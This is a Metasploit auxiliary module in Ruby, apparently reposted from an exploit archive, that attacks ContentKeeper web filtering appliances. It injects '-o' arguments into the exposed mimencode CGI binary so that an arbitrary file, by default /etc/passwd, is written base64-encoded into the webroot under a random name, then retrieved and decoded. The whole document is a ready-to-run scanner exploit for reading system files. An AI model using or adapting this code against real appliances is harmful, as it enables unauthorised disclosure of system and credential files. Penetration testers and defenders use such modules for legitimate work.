ContentKeeper Web Appliance Mimencode File Access

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'ContentKeeper Web Appliance mimencode File Access',  
'Description' => %q{  
This module abuses the 'mimencode' binary present within  
ContentKeeper Web filtering appliances to retrieve arbitrary  
files outside of the webroot.  
},  
'References' => [  
[ 'OSVDB', '54551' ],  
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],  
],  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE)  
  
register_options(  
[  
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),  
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),  
]  
)  
end  
  
def run_host(_ip)  
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.  
  
print_status("Attempting to connect to #{rhost}:#{rport}")  
res = send_request_raw(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']  
}, 25  
)  
  
if (res && (res.code == 500))  
  
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")  
  
file = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/' + tmpfile  
}, 25  
)  
  
if (file && (file.code == 200))  
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")  
elsif (file && file.code)  
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")  
end  
elsif (res && res.code)  
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
`